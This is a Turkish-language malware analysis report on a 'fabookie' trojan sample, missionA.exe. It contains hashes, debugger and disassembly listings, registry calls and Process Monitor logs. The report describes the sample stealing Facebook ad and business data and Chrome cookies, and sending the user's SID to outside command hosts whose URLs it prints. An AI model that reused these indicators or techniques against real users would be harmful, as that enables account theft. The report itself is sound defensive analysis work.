

MissionA Zararlısının Analizi

Akif İnan Yiğit

İçindekiler

İçindekiler	1
Ön inceleme	2
Statik Analiz	2
Dinamik Analiz	3
Network Analizi	9
Yara Kuralı	11
MITRE Attack Tablosu	12

Ön İnceleme

Zararlının dosya türü ve MD5, SHA-1 bilgileri aşağıdaki tabloda yer almaktadır.

Dosya Adı	missionA.exe
Dosya Türü	Portable Executable 64
MD-5	0489D588CFE0DF896215AB7B5520895C
SHA-1	D2352939B2CE02009A9AFF19450673AD0B42F8E0

Statik Analiz

Zararlı, DIE toolu ile incelendiğinde herhangi bir paketleme işlemi uygulanmadığı görülmüştür.

Tip	Toplam	Durum	Ofset	Boyut	
PE64	6.34058	79%	00000000	00069000	Tekrar yükle
Entropy	Bytes				
Bölge	İsim	Ofset	Boyut	Entropy	Durum
	Seçim(0)['.text']	0000000000000600	0000000000029600	6.24837	paketlenmemiş
	Seçim(1)['.data']	0000000000029c00	0000000000000400	2.13949	paketlenmemiş
	Seçim(2)['.pdata']	000000000002a000	0000000000001400	5.24955	paketlenmemiş
	Seçim(3)['.rsrc']	000000000002b400	0000000000003d600	6.10562	paketlenmemiş
	Seçim(4)['.reloc']	0000000000068a00	0000000000000600	1.74110	paketlenmemiş

Sonrasında x64dbg aracıyla geçerli modüller içerisinde string araması yapılmıştır.

```
0000000013FA0875E 1ea rdi,qword ptr ds:[13FA024D0] L"Software\\Clients\\Mail\\"
0000000013FA087A6 1ea rdx,qword ptr ds:[13FA02498] L"Windows Mail"
0000000013FA0885E 1ea rdx,qword ptr ds:[13FA02488] L"SupportUTF8"
0000000013FA088FF 1ea rdx,qword ptr ds:[13FA02598] "EmailSupport::SendEmailWithSimpleMail"
0000000013FA0891C 1ea rdx,qword ptr ds:[13FA02500] "EmailSupport::LoadMailProvider"
0000000013FA08941 1ea rcx,qword ptr ds:[13FA02520] L"%windir%\\system32\\api32.dll"
0000000013FA08A0B 1ea rdx,qword ptr ds:[13FA025C0] "MAPISendMail"
0000000013FA08EB2 1ea rdx,qword ptr ds:[13FA025D0] "EmailSupport::ComposeAsInlineHtml"
0000000013FA08F3C 1ea r8,qword ptr ds:[13FA025F8] L"SnipImage-%s().PNG"
0000000013FA08F6A 1ea r8,qword ptr ds:[13FA02620] L"SnipFile-%s().HTML"
0000000013FA09191 1ea rdx,qword ptr ds:[13FA02648] "EmailSupport::ComposeAsAttachment"
0000000013FA0918A 1ea r9,qword ptr ds:[13FA02670] L"SnipImage().JPG"
0000000013FA095B3 1ea rdx,qword ptr ds:[13FA02698] "CLinkFingerprint::Load"
```

Yukarıdaki resimde de görüldüğü gibi zararlı dinamik olarak *api32.dll* import etmektedir. Daha sonrasında bu dll içerisinde, Microsoft Windows için programların e-postaya duyarlı hale gelmesini sağlayan bir MAPI API'nı kullandığı görülmektedir.

Dinamik Analiz

Zararlı yazılıma dinamik olarak yüklenen DLL'ler tabloda gösterilmiştir.

advapi32.dll	kernel32.dll	user32.dll	ntdll.dll	shlwapi.dll	shell32.dll	gdi32.dll	msvcrt.dll	gdiplus.dll
comctl32.dll	ole32.dll	uxtheme.dll	oleacc.dll	slc.dll	msdrm.dll			

Yapılan analizler sonucunda, zararlının **fabookie** tipinde bir truva atı görevinin olduğu görülmüştür. Bu tip zararlılar, aşağıdaki resimlerde de görüldüğü gibi kullanıcıya ait facebook bilgilerini ilgili facebook featurlarını kullanarak çalmayı amaçlamaktadır. Zararlının erişmeye çalıştığı facebook adreslerinin işlevleri hakkında:

- **adsmanager.facebook.com** : Facebook'un reklam yönetimi platformunun çevrimiçi arabirimine erişim sağlar. Zararlı bu adresten kullanıcının yürüttüğü olası reklam politikalarını görüntüleyebilir.
- **business.facebook.com** : Facebook'un işletmeler için tasarlanmış bir platformudur ve işletmelere çeşitli pazarlama ve reklam olanakları sunar. Zararlı bu adresten kullanıcının olası işletme reklam bilgilerini elde edebilir.
- **graph.facebook.com** : Facebook platformundaki verilere erişim ve bu verileri kullanma yeteneği sağlar. Zararlı bu adresten doğru istekle kullanıcının bilgilerine, mesajlarına, etkileşimlerini ve daha fazlasına erişebilir.

0000000002E7E9F5	48:897C24 38	mov qword ptr ss:[rsp+38],rdi	
0000000002E7E9FA	48:897C24 48	mov qword ptr ss:[rsp+48],rdi	
0000000002E7E9FF	4C:896424 50	mov qword ptr ss:[rsp+50],r12	
0000000002E7EA04	48:8D15 95F60E00	lea rdx,qword ptr ds:[2F6E0A0]	0000000002F6E0A0:L"Host: adsmanager.facebook.com"
0000000002E7EA08	48:8D4C24 38	lea rcx,qword ptr ss:[rsp+38]	
0000000002E7EA10	E8 9B6CFFFF	call 2E75680	
0000000002E7F6D	48:8D0D D4EC0E00	lea rcx,qword ptr ds:[2F6E2F8]	0000000002F6E2F8:L"api/graphql/?111=ppp"
0000000002E7F6D4	E8 2F860A00	call 2F27C58	
0000000002E7F6D9	48:8D4C24 38	lea rcx,qword ptr ss:[rsp+38]	
0000000002E7F6E2	48:837C24 50 08	cmp qword ptr ss:[rsp+50],8	
0000000002E7F6E3	48:0F434C24 38	cmovae rcx,qword ptr ss:[rsp+38]	
0000000002E7F6E3A	48:894424 20	mov qword ptr ss:[rsp+20],rax	[rsp+20]:&L"ALLUSERSPROFILE=C:\ProgramData"
0000000002E7F6E3F	4C:8D0D B2EC0E00	lea r9,qword ptr ds:[2F6E2F8]	0000000002F6E2F8:L"api/graphql/?111=ppp"
0000000002E7F6E4	45:33C0	xor r8d,r8d	r8d:L"windows_tracing_logfile=C:\BVTB1n\Tests\installpackage\csilogfile.log"
0000000002E7F6E49	48:8B5424 48	mov rdx,qword ptr ss:[rsp+48]	
0000000002E7F6E4E	E8 CD300000	call 2E82720	
0000000002E7F6E53	48:8B08	mov rbx,rax	
0000000002E7F6E56	48:8D4C24 38	lea rcx,qword ptr ss:[rsp+38]	
0000000002E7F6E5B	E8 EC5FFFFF	call 2E7564C	
0000000002E7F6E60	48:83FB FF	cmp rbx,FFFFFFFFFFFFFFFF	
0000000002E7F6E64	0F84 F1000000	jbe 2E7F758	
0000000002E7F6E6A	48:897C24 38	mov qword ptr ss:[rsp+38],rdi	
0000000002E7F6E6F	48:897C24 48	mov qword ptr ss:[rsp+48],rdi	
0000000002E7F674	4C:896424 50	mov qword ptr ss:[rsp+50],r12	
0000000002E7F679	48:8D15 F870E00	lea rdx,qword ptr ds:[2F6E078]	0000000002F6E078:L"Host: business.facebook.com"
02E7F6F9	48:8D15 30EC0E00	lea rdx,qword ptr ds:[2F6E330]	0000000002F6E330:L"X-FB-Friendly-Name: BillingHubPaymentSettingsPaymentMethodsListQuery"
02E7F700	48:8D4C24 38	lea rcx,qword ptr ss:[rsp+38]	
02E7F705	E8 0E2C0000	call 2E82318	
02E7F70A	48:8D15 AFEC0E00	lea rdx,qword ptr ds:[2F6E3C0]	0000000002F6E3C0:L"Origin: https://business.facebook.com"
02E7F711	48:8D4C24 30	lea rcx,qword ptr ss:[rsp+30]	
02E7F716	E8 FD280000	call 2E82318	
02E7F718	48:8D15 EEE0E000	lea rdx,qword ptr ds:[2F6E410]	0000000002F6E410:L"Sec-Fetch-Site: same-origin"
02E7F722	48:8D4C24 30	lea rcx,qword ptr ss:[rsp+30]	
02E7F727	E8 EC280000	call 2E82318	
02E7F72C	48:8D15 15ED0E00	lea rdx,qword ptr ds:[2F6E448]	0000000002F6E448:L"Sec-Fetch-Mode: cors"
02E7F733	48:8D4C24 30	lea rcx,qword ptr ss:[rsp+30]	
02E7F738	E8 DB280000	call 2E82318	
02E7F73D	48:8D15 34ED0E00	lea rdx,qword ptr ds:[2F6E478]	0000000002F6E478:L"Sec-Fetch-Dest: empty"
02E7F744	48:8D4C24 30	lea rcx,qword ptr ss:[rsp+30]	
02E7FC46	48:8D15 7BE90E00	lea rdx,qword ptr ds:[2F6E5C8]	0000000002F6E5C8:L"ok.com"
02E7FC4D	48:8D4C24 38	lea rcx,qword ptr ss:[rsp+38]	
02E7FC52	E8 595AFFFF	call 2E75680	
02E7FC57	90	nop	
02E7FC58	48:897C24 58	mov qword ptr ss:[rsp+58],rdi	[rsp+58]:L"TZ"
02E7FC5D	48:897C24 68	mov qword ptr ss:[rsp+68],rdi	
02E7FC62	4C:896424 70	mov qword ptr ss:[rsp+70],r12	
02E7FC67	66:897C24 58	mov word ptr ss:[rsp+58],di	
02E7FC6C	48:8D15 65E90E00	lea rdx,qword ptr ds:[2F6E5D8]	0000000002F6E5D8:L"acebo"
02E7FC73	48:8D4C24 58	lea rcx,qword ptr ss:[rsp+58]	[rsp+58]:L"TZ"
02E7FC78	E8 335AFFFF	call 2E75680	
02E7FC7D	90	nop	
02E7FC7E	48:897D 98	mov qword ptr ss:[rbp-68],rdi	
02E7FC82	48:897D A8	mov qword ptr ss:[rbp-58],rdi	
02E7FC86	4C:8965 80	mov qword ptr ss:[rbp-50],r12	
02E7FC8A	66:897D 98	mov word ptr ss:[rbp-68],di	
02E7FC8E	48:8D15 53E90E00	lea rdx,qword ptr ds:[2F6E5E8]	0000000002F6E5E8:L"Origin: https://www.f"
02E7FC95	48:8D4D 98	lea rcx,qword ptr ss:[rbp-68]	
02E7FC99	E8 125AFFFF	call 2E75680	
02E7FC9E	90	nop	

Buna ek olarak, zararlı **ntdll** içerisinde **ZwOpenEvent** apisini kullanarak zararlının öncesinde KernelObjects/SystemErrorPortReady dizininde oluşturduğu event objesinin handle'ni aldığını ve **ZwWaitForSingleObject** apisıyla alınan handle'nin **Signaled** durumuna geçene kadar beklediği görülmüştür.

0000000077745E1E	48:8D05 CBA5FCFF	lea rax,qword ptr ds:[777103F0]	00000000777103F0:L"\\KernelObjects\\SystemErrorPortReady"
0000000077745E25	49:8943 C0	mov qword ptr ds:[r11-40],rax	
0000000077745E29	49:8D43 B8	lea rax,qword ptr ds:[r11-48]	
0000000077745E2D	4D:8D43 C8	lea r8,qword ptr ds:[r11-38]	r8:"Eltw"
0000000077745E31	49:8D48 08	lea rcx,qword ptr ds:[r11+8]	
0000000077745E35	BA 01001000	mov edx,100001	
0000000077745E3A	49:8958 E8	mov qword ptr ds:[r11-18],rbx	
0000000077745E3E	49:8943 D8	mov qword ptr ds:[r11-28],rax	
0000000077745E42	49:8958 F0	mov qword ptr ds:[r11-10],rbx	
0000000077745E46	E8 353EFCFF	call <ntdll.ZwOpenEvent>	
0000000077745E48	3BC3	cmp eax,ebx	
0000000077745E4D	7C 28	j1 ntdll.77745E77	
0000000077745E4F	48:8B4C24 70	mov rcx,qword ptr ss:[rsp+70]	
0000000077745E54	4C:8D4424 78	lea r8,qword ptr ss:[rsp+78]	
0000000077745E59	33D2	xor edx,edx	
0000000077745E5B	48:C74424 78 802E0FF	mov qword ptr ss:[rsp+78],FFFFFFFF70F2E	
0000000077745E64	E8 573AFCFF	call <ntdll.ZwWaitForSingleObject>	
0000000077745E69	48:8B4C24 70	mov rcx,qword ptr ss:[rsp+70]	
0000000077745E6E	8BD8	mov ebx,eax	
0000000077745E70	E8 FB3AFCFF	call <ntdll.NtClose>	

Zararlı'nın bir diğer aktivitesinin **SetCapture** işlevini çağırarak **bitmap** hesaplamalarıyla bir capture oluşturmak olduğu görülmüştür. Kısaca bitmap, bir bilgisayar grafik dosyası formatı ve görsel verilerin düzenlenmesi için kullanılan bir yöntemdir. JPEG, PNG ve TIFF gibi birçok farklı bitmap tabanlı dosya biçimi bulunur.

```

lea     r8, [rax+10h] ; int *
lea     rdx, aCCaptureFormSe ; "CCaptureForm::SetCapture"
lea     rcx, [rax-50h] ; this
call    ??0CLogBlock@Helpers@@QEAA@PEBDPEAJ@Z ; Helpers::CLogBlock::CLogBlock(char const *,long *)
nop

```

```

lea     rdx, [rsp+0A8h+hdc] ; HDC *
mov     rcx, rbx ; this
call    ?CreateCaptureDC@CCaptureForm@@QEAAJPEAUHDC_@@PEAPEAX@Z ; CCaptureForm
mov     [rsp+0A8h+arg_8.unused], eax
cmp     eax, r15d
jl      loc_14000663B

lea     rdx, [rsp+0A8h+arg_8] ; HDC
mov     rcx, r12 ; hdc
call    ?CreateCompatibleDC@Helpers@@YAPEAUHDC_@@PEAU2@PEAJ@Z ; Helpers::CreateCo
mov     rbp, rax
mov     r13, [rsp+0A8h+hdc]
cmp     [rsp+0A8h+arg_8.unused], r15d
jl      loc_14000661E

lea     r9, [rsp+0A8h+arg_8] ; int
mov     r8d, [rbx+4] ; int
mov     edx, [rbx] ; HDC
mov     rcx, r12 ; hdc
call    ?CreateCompatibleOrDIBitmap@Helpers@@YAPEAUHBITMAP_@@PEAUHDC_@@HHPEAJ@Z
mov     [rbx+20h], rax
cmp     [rsp+0A8h+arg_8.unused], r15d
jl      loc_140006614

lea     r8, [rsp+0A8h+arg_8] ; void *
mov     rdx, rax ; h
mov     rcx, rbp ; hdc
call    ?SelectObject@Helpers@@YAPEAXPEAUHDC_@@PEAXPEAJ@Z ; Helpers::SelectObject

```

Ayrıca, zararlının capture edilen görsellerin **bitmap** hesaplamalarını yaptıktan sonra not panosuna kopyaladığı gözlenmiştir.

```
.text:000000014001F748 ; __int64 __fastcall CEditorPanel::CopyToClipboard(CEditorPanel * __hidden this, int)
.text:000000014001F748 ?CopyToClipboard@CEditorPanel@@@AEAAJH@@Z proc near
.text:000000014001F748
.text:000000014001F748 ho= qword ptr -38h
.text:000000014001F748 var_30= qword ptr -30h
.text:000000014001F748 var_28= byte ptr -28h
.text:000000014001F748 var_18= byte ptr -18h
.text:000000014001F748 arg_0= qword ptr 8
.text:000000014001F748 arg_8= qword ptr 10h
.text:000000014001F748 arg_10= byte ptr 18h
.text:000000014001F748 arg_18= dword ptr 20h
.text:000000014001F748
.text:000000014001F748 ; FUNCTION CHUNK AT .text:0000000140025777 SIZE 00000018 BYTES
.text:000000014001F748
.text:000000014001F748 ; __unwind { // __CxxFrameHandler3
.text:000000014001F748 mov     rax, rsp
.text:000000014001F748 push    rdi
.text:000000014001F74C sub     rsp, 50h ; Integer Subtraction
.text:000000014001F750 mov     [rsp+58h+var_30], 0FFFFFFFFFFFFFFFh
.text:000000014001F759 mov     [rax+8], rbx
.text:000000014001F75D mov     [rax+10h], rsi
.text:000000014001F761 mov     esi, edx
.text:000000014001F763 mov     rdi, rcx
.text:000000014001F766 and     dword ptr [rax+20h], 0 ; Logical AND
.text:000000014001F76A lea     r8, [rax+20h] ; int *
.text:000000014001F76E lea     rdx, aCeditorpanelCo ; "CEditorPanel::CopyToClipboard"
.text:000000014001F775 lea     rcx, [rax-18h] ; this
.text:000000014001F779 call    ??CLogBlock@Helpers@@@QEAA@PEBDPEAJ@Z ; Helpers::CLogBlock::CLogBlock(char const *,long *)
.text:000000014001F77E nop                                     ; No Operation
```

```
.text:000000014001F77F
.text:000000014001F77F loc_14001F77F: ; this
.text:000000014001F77F ; try {
.text:000000014001F77F mov     rcx, rdi
.text:000000014001F782 call    ?UpdateAnnotatedBitmap@CEditorPanel@@@AEAAJXZ ; CEditorPanel::UpdateAnnotatedBitmap(void)
.text:000000014001F787 mov     ebx, eax
.text:000000014001F789 mov     [rsp+58h+arg_18], eax
.text:000000014001F78D test    eax, eax ; Logical Compare
.text:000000014001F78F js     loc_14001F863 ; Jump if Sign (SF=1)

.text:000000014001F795 and     [rsp+58h+ho], 0 ; Logical AND
.text:000000014001F79B mov     rcx, [rdi+28h]
.text:000000014001F79F lea     rdx, [rsp+58h+ho] ; HBITMAP *
.text:000000014001F7A4 mov     rcx, [rcx+10h] ; h
.text:000000014001F7A8 call    ?CopyBitmap@CMain@@@SAJPEAUHBITMAP__@@@PEAPEAU2@@@Z ; CMain::CopyBitmap(HBITMAP __ *,HBITMAP __ *)
.text:000000014001F7AD mov     ebx, eax
.text:000000014001F7AF mov     [rsp+58h+arg_18], eax
.text:000000014001F7B3 test    eax, eax ; Logical Compare
.text:000000014001F7B5 js     loc_14001F863 ; Jump if Sign (SF=1)
```

```
.text:000000014001F7DF mov     rdx, [rdi+48h] ; HWND
.text:000000014001F7E3 lea     rcx, [rsp+58h+arg_10] ; this
.text:000000014001F7E8 call    ?Open@CClipboard@@@QEAAJPEAUHWND__@@@Z ; CClipboard::Open(HWND __ *)
.text:000000014001F7ED mov     [rsp+58h+arg_18], eax
.text:000000014001F7F1 test    eax, eax ; Logical Compare
.text:000000014001F7F3 js     short loc_14001F827 ; Jump if Sign (SF=1)

.text:000000014001F7F5 lea     ebx, [rsi+1] ; Load Effective Address
.text:000000014001F7F8 lea     rcx, [rsp+58h+arg_10] ; this
.text:000000014001F7FD call    ?Empty@CClipboard@@@QEAAJXZ ; CClipboard::Empty(void)

.text:000000014001F802
.text:000000014001F802 loc_14001F802:
.text:000000014001F802 cmp     [rsp+58h+arg_18], 0 ; Compare Two Operands
.text:000000014001F807 jl     short loc_14001F827 ; Jump if Less (SF!=OF)

.text:000000014001F809 xor     r9d, r9d ; void **
.text:000000014001F80C mov     r8, [rsp+58h+ho] ; void *
.text:000000014001F811 lea     edx, [r9+2] ; unsigned int
.text:000000014001F815 lea     rcx, [rsp+58h+arg_10] ; this
.text:000000014001F81A call    ?SetData@CClipboard@@@QEAAJPEAXPEAPEAX@Z ; CClipboard::SetData(uint,void *,void *)
.text:000000014001F81F mov     [rsp+58h+arg_18], eax
.text:000000014001F823 test    eax, eax ; Logical Compare
.text:000000014001F825 jns     short loc_14001F833 ; Jump if Not Sign (SF=0)
```

```

.text:000000014001F809 xor     r9d, r9d          ; void **
.text:000000014001F80C mov     r8, [rsp+58h+ho] ; void *
.text:000000014001F811 lea     edx, [r9+2]       ; unsigned int
.text:000000014001F815 lea     rcx, [rsp+58h+arg_10] ; this
.text:000000014001F81A call    ?SetData@CClipboard@@QEAAJPEAXPEAPEAX@Z ; CClipboard::SetData(uint,void *,void * *)
.text:000000014001F81F mov     [rsp+58h+arg_18], eax
.text:000000014001F823 test    eax, eax          ; Logical Compare
.text:000000014001F825 jns     short loc_14001F833 ; Jump if Not Sign (SF=0)

;-----
.text:000000014001F827
.text:000000014001F827 loc_14001F827:          ; void *
.text:000000014001F827 xor     edx, edx
.text:000000014001F829 mov     rcx, [rsp+58h+ho] ; ho
.text:000000014001F82E call    ?DeleteObject@Helpers@@YAHPEAXPEAJ@Z ; Helpers::DeleteObject(void *,long *)

;-----
.text:000000014001F833
.text:000000014001F833 loc_14001F833:
.text:000000014001F833 test    ebx, ebx          ; Logical Compare
.text:000000014001F835 jz      short loc_14001F841 ; Jump if Zero (ZF=1)

;-----
.text:000000014001F837 lea     rcx, [rsp+58h+arg_10] ; this
.text:000000014001F83C call    ?Close@CClipboard@@QEAAJXZ ; CClipboard::Close(void)

```

Yukarıdaki resimlerde de görüldüğü üzere zararlı sonraki aşamalarda bir boş not panosunu açıp kopyalanan bitmap değerlerini panoya gönderdikten sonra oluşan bitmap objesini silip not panosunu kapattığı görülmüştür.

Zararlı **GetSystemTimeAsFileTime**, **GetCurrentProcessId**, **GetCurrentThreadId** gibi API'ler kullanarak sistem zamanı bilgileri edinmektedir. O anki Process ve Thread Id'lerini edinmektedir.

0000000013FA74D27	48:BF 32A2DF2D992B00	mov rdi,2B992DDFA232	
0000000013FA74D31	48:38C7	cmp rax,rdi	
0000000013FA74D34	74 0C	je missiona.13FA74D42	
0000000013FA74D36	48:F7D0	not rax	
0000000013FA74D39	48:8905 00640000	mov qword ptr ds:[13FA7B140],rax	
0000000013FA74D40	EB 76	jmp missiona.13FA74D88	
0000000013FA74D42	48:8D4C24 30	lea rcx,qword ptr ss:[rsp+30]	
0000000013FA74D47	FF15 A3C4FDFF	call qword ptr ds:[<&GetSystemTimeAsFileTime>]	
0000000013FA74D4D	48:8B5C24 30	mov rbx,qword ptr ss:[rsp+30]	
0000000013FA74D52	FF15 90C4FDFF	call qword ptr ds:[<&GetCurrentProcessId>]	
0000000013FA74D58	44:8BD8	mov r11d,eax	
0000000013FA74D5B	49:33DB	xor rbx,r11	
0000000013FA74D5E	FF15 ACC5FDFF	call qword ptr ds:[<&GetCurrentThreadId>]	
0000000013FA74D64	44:8BD8	mov r11d,eax	
0000000013FA74D67	49:33DB	xor rbx,r11	
0000000013FA74D6A	FF15 08C4FDFF	call qword ptr ds:[<&GetTickCount>]	
0000000013FA74D70	48:8D4C24 38	lea rcx,qword ptr ss:[rsp+38]	
0000000013FA74D75	44:8BD8	mov r11d,eax	
0000000013FA74D78	49:33DB	xor rbx,r11	
0000000013FA74D7B	FF15 FFC3FDFF	call qword ptr ds:[<&QueryPerformanceCounter>]	
0000000013FA74D81	4C:8B5C24 38	mov r11,qword ptr ss:[rsp+38]	
0000000013FA74D86	4C:33DB	xor r11,rbx	

Zararlı, windowsta her kullanıcı veya gruba özel olan SID kimlik değerini <http://aa.imgjeoogbb.com/check/?sid=> adresine gönderdiği tespit edilmiştir.

0000000000E783A8	48:8953 08	mov qword ptr ds:[rbx+8],rdx	[rbx+8]:"http://app.nnnaajjgc.com/check/?sid=", rdx:"sid"
0000000000E783AC	48:8B41 10	mov rax,qword ptr ds:[rcx+10]	rax:"sid"
0000000000E783B0	48:83E8 02	sub rax,2	rax:"sid"
0000000000E783B4	48:38D0	cmp rdx,rax	rdx:"sid", rax:"sid"
0000000000E783B7	76 C1	jbe 2E7837A	
0000000000E783B9	48:8D15 084D0F00	lea rdx,qword ptr ds:[2F6D0C8]	rdx:"sid", 0000000002F6D0C8:"unexpected end of input inside multi-line comment"
0000000000E783C0	48:897D E0	mov qword ptr ss:[rbp-20],rdi	
0000000000E783C4	48:8D4D E0	lea rcx,qword ptr ss:[rbp-20]	

Zararlıının domain controller ve localappdata değerlerine erişmektedir. Zararlı bu bilgileri kullanarak local tarayıcı bilgilerini ele geçirebilir.

000007FEFF133B7C	48:3BCF	cmp rcx,rdi	rcx:"LOCALAPPDATA=C:\\Users\\[REDACTED]\\AppData\\Local"
000007FEFF133B7F	0F84 92CB0100	jbe msvcrt.7FEFF150717	
000007FEFF133B85	48:3BD7	cmp rdx,rdi	
000007FEFF133B88	0F86 89CB0100	jbe msvcrt.7FEFF150717	
000007FEFF133B8E	4C:3BC7	cmp r8,rdi	r8:"LOGONSERVER=\\\\WIN-L1KDN79P80J"
000007FEFF133B91	0F84 7DCB0100	jbe msvcrt.7FEFF150714	
000007FEFF133B97	4C:8BC9	mov r9,rcx	rcx:"LOCALAPPDATA=C:\\Users\\[REDACTED]\\AppData\\Local"
000007FEFF133B9A	41:0F8700	movzx eax,word ptr ds:[r8]	r8:"LOGONSERVER=\\\\WIN-L1KDN79P80J"
000007FEFF133B9E	49:83C0 02	add r8,2	r8:"LOGONSERVER=\\\\WIN-L1KDN79P80J"
000007FEFF133BA2	6641:8901	mov word ptr ds:[r9],ax	
000007FEFF133BA6	49:83C1 02	add r9,2	
000007FEFF133BAA	66:3BC7	cmp ax,di	
000007FEFF133BA0	74 06	jbe msvcrt.7FEFF133B85	

TabQueryPolicyValue fonksiyonun içerisinde yer alan **RegOpenKeyExW** ve **RegQueryValueExW** apilerini kullanarak registerdaki key ile kayıt defterine kayıt işlemi gerçekleştirir.

```
.text:00000001400237C4 sub    rsp, 70h          ; Integer Subtraction
.text:00000001400237C8 mov     rbp, r8
.text:00000001400237CB lea     rdx, aTabUtilsTabque ; "TabUtils::TabQueryPolicyValue"
.text:00000001400237D2 lea     rcx, [rax-18h] ; this
.text:00000001400237D6 lea     r8, [rax-38h] ; int *
.text:00000001400237DA xor     ebx, ebx          ; Logical Exclusive OR
.text:00000001400237DC mov     [rax-38h], ebx
.text:00000001400237DF call    ??0CLogBlock@Helpers@@QEAA@PEBDPEAJ@Z ; Helpers::CLogBlock::CLogBlock(char const *,long *)
.text:00000001400237E4 cmp     rbp, rbx          ; Compare Two Operands
.text:00000001400237E7 jz      loc_1400239DE ; Jump if Zero (ZF=1)
```

```
.text:00000001400237ED lea     rax, [rsp+78h+hKey] ; Load Effective Address
.text:00000001400237F2 lea     rdx, stru_140004AE0 ; lpSubKey
.text:00000001400237F9 mov     r9d, 20019h      ; unsigned int
.text:00000001400237FF xor     r8d, r8d          ; unsigned __int16 *
.text:0000000140023802 mov     rcx, 0FFFFFFF80000002h ; hKey
.text:0000000140023809 mov     [rsp+78h+var_50], rbx ; HKEY *
.text:000000014002380E mov     [rbp+0], ebx
.text:0000000140023811 mov     dword ptr [rsp+78h+arg_0], ebx
.text:0000000140023818 mov     [rsp+78h+hKey], rbx
.text:000000014002381D mov     [rsp+78h+var_58], rax ; unsigned int
.text:0000000140023822 call    ?RegOpenKeyExW@Helpers@@YAJPEAUHKEY_@@PEBGKKPEAPEAU2@PEAJ@Z ; Helpers::RegOpenKeyExW(HKEY__ *,ushort const *,ulong,ulong,HKEY__
.text:0000000140023827 mov     rcx, [rsp+78h+hKey] ; hKey
.text:000000014002382C mov     esi, eax
.text:000000014002382E cmp     rcx, rbx          ; Compare Two Operands
.text:0000000140023831 jz      short loc_140023897 ; Jump if Zero (ZF=1)
```

```
.text:0000000140023833 lea     rax, [rsp+78h+var_30] ; Load Effective Address
.text:0000000140023838 mov     [rsp+78h+var_48], rbx ; int *
.text:000000014002383D lea     r9, [rsp+78h+var_34] ; unsigned int *
.text:0000000140023842 mov     [rsp+78h+var_50], rax ; unsigned __int8 *
.text:0000000140023847 lea     rax, [rsp+78h+arg_0] ; Load Effective Address
.text:000000014002384F lea     rdx, stru_140002B48 ; lpValueName
.text:0000000140023856 xor     r8d, r8d          ; unsigned __int16 *
.text:0000000140023859 mov     [rsp+78h+var_34], ebx
.text:000000014002385D mov     dword ptr [rsp+78h+var_30], 4
.text:0000000140023865 mov     [rsp+78h+var_58], rax ; LPBYTE
.text:000000014002386A call    ?RegQueryValueExW@Helpers@@YAJPEAUHKEY_@@PEBGKPEAKPEAE2PEAJ@Z ; Helpers::RegQueryValueExW(HKEY__ *,ushort const *,ulong *,ulong
.text:000000014002386F cmp     [rsp+78h+var_34], 4 ; Compare Two Operands
.text:0000000140023874 mov     esi, eax
.text:0000000140023876 jnz     short loc_14002387F ; Jump if Not Zero (ZF=0)
```

```
.text:00000001400226AA lea     rdx, aHelpersRegopen ; "Helpers::RegOpenKeyExW"
.text:0000000140022651 lea     rcx, [rax-18h] ; this
.text:0000000140022655 lea     r8, [rax+30h] ; int *
.text:0000000140022659 call    ??0CLogBlock@Helpers@@QEAA@PEBDPEAJ@Z ; Helpers::CLogBlock::CLogBlock(char const *,long *)
.text:000000014002265E mov     r11, [rsp+48h+arg_20]
.text:0000000140022663 mov     r9d, 20019h      ; samDesired
.text:0000000140022669 mov     r8d, r8d          ; ulOptions
.text:000000014002266C mov     rdx, rbx          ; lpSubKey
.text:000000014002266F mov     rcx, rdi          ; hKey
.text:0000000140022672 mov     [rsp+48h+phkResult], r11 ; phkResult
.text:0000000140022677 call    cs:__imp_RegOpenKeyExW ; Indirect Call Near Procedure
.text:000000014002267D mov     ebx, eax
.text:000000014002267F test    eax, eax          ; Logical Compare
.text:0000000140022681 jz      short loc_1400226C7 ; Jump if Zero (ZF=1)
```

```
.text:00000001400227AA lea     rdx, aHelpersRegquer ; "Helpers::RegQueryValueExW"
.text:00000001400227B1 lea     rcx, [rax-18h] ; this
.text:00000001400227B5 lea     r8, [rax+38h] ; int *
.text:00000001400227B9 mov     rbx, r9
.text:00000001400227BC call    ??0CLogBlock@Helpers@@QEAA@PEBDPEAJ@Z ; Helpers::CLogBlock::CLogBlock(char const *,long *)
.text:00000001400227C1 mov     r11, [rsp+48h+arg_28]
.text:00000001400227C6 mov     rax, [rsp+48h+arg_20]
.text:00000001400227CB mov     [rsp+48h+lpcbData], r11 ; lpCbData
.text:00000001400227D0 mov     r9, rbx          ; lpType
.text:00000001400227D3 xor     r8d, r8d          ; lpReserved
.text:00000001400227D6 mov     rdx, rdi          ; lpValueName
.text:00000001400227D9 mov     rcx, rsi          ; hKey
.text:00000001400227DC mov     [rsp+48h+lpData], rax ; lpData
.text:00000001400227E1 call    cs:__imp_RegQueryValueExW ; Indirect Call Near Procedure
.text:00000001400227E7 mov     ebx, eax
.text:00000001400227E9 test    eax, eax          ; Logical Compare
.text:00000001400227EB jz      short loc_140022834 ; Jump if Zero (ZF=1)
```

Zararlının faaliyetleri process monitor aracı ile incelendiğinde <http://us.imgjeoigaa.com/sts/imagc.jpg> adresinden indirdiği resim dosyasına yazma işleminde bulunduğu gözlenmiştir.

20:34:...	missionA.exe	4648	WriteFile	C:\Users\	\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\DCSAWWUJ\imagc[3].jpg
20:34:...	missionA.exe	4648	QueryBasicInformationFile	C:\Users\	\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\DCSAWWUJ\imagc[3].jpg
20:34:...	missionA.exe	4648	CloseFile	C:\Users\	\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\DCSAWWUJ\imagc[3].jpg
20:34:...	missionA.exe	4648	CreateFile	C:\Users\	\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\DCSAWWUJ\imagc[3].jpg
20:34:...	missionA.exe	4648	QueryAttributeTagFile	C:\Users\	\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\DCSAWWUJ\imagc[3].jpg
20:34:...	missionA.exe	4648	SetDispositionInformationFile	C:\Users\	\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\DCSAWWUJ\imagc[3].jpg
20:34:...	missionA.exe	4648	CloseFile	C:\Users\	\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\DCSAWWUJ\imagc[3].jpg

Sırasıyla tüm olası Google Chrome hesapların çerez bilgilerini elde etmeye çalışmaktadır. Bu dizin kullanıcı verilerinin gizliliği ve güvenliği açısından önemlidir. Zararlı bu dizinlerden kullanıcıların oturum bilgilerini çalabilir veya saldırganın işine yarayacak sahte çerezler ekleyebilir.
